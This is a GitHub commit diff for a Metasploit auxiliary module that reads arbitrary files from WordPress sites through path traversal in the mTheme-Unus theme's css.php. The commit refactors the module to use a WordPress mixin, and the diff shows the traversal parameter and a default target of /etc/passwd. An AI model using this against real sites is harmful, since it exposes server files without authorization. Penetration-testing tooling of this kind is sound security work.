Skip to content

Commit c8e1185

Browse files
committed
Included Wordpress mixin.
1 parent 0031f09 commit c8e1185

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class Metasploit3 < Msf::Auxiliary
99

1010
include Msf::Auxiliary::Report
1111
include Msf::Exploit::Remote::HttpClient
12+
include Msf::HTTP::Wordpress
1213
include Msf::Auxiliary::Scanner
1314

1415
def initialize(info = {})
@@ -34,8 +35,6 @@ def initialize(info = {})
3435

3536
register_options(
3637
[
37-
Opt::RPORT(80),
38-
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/wordpress/"]),
3938
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
4039
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])
4140
], self.class)
@@ -48,7 +47,7 @@ def run_host(ip)
4847

4948
res = send_request_cgi({
5049
'method' => 'GET',
51-
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', 'css', 'css.php'),
50+
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
5251
'vars_get' =>
5352
{
5453
'files' => "#{traversal}#{filename}"

0 commit comments

Comments
 (0)